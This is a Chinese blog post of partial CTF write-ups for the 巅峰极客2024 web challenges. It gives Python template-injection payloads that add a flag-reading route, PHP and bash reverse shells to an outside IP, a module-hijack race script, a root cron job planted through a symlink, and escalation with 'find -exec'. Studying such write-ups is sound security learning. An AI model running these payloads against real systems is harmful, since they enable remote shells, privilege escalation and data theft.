【Web】巅峰极客2024 部分题解

目录

EncirclingGame

GoldenHornKing 

php_online 

admin_Test


EncirclingGame

玩赢游戏就行

GoldenHornKing 

利用点在传入的app

 可以打python内存马

/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

访问./flag

也可以挂载静态文件

/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app})

访问./static/flag

php_online 

先起一个id为aaaaaaa1的沙箱,反弹shell

<?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?>

再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在

再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在

init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库

echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo "    cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh

运行sh脚本后再进入aaaaaaa2环境,随便传一个<?php echo 1;?>触发sudo -u www-data python3 init.py

运行恶意logging.py后反弹shell拿到www-data权限

ps-aux

发现开着定时任务

开一个id为aaaaaaa3的沙箱

ln -s /etc/cron.d /sandbox/aaaaaaa3

再软链接定时任务目录

最后在aaaaaaa3的沙箱传入phpcode

* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?>

<?php sleep(1000);?>是为了避免rm *将/sandbox/aaaaaaa3/phpcode给瞬删,从而给定时任务运行充足的时间

admin_Test

扫出来./admin.html

访问./admin.html

 可以上传文件,可以执行命令

命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/*

参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客

 

可以命令执行

但没法读/flag,考虑提权

可以打find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

 

  • 13
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值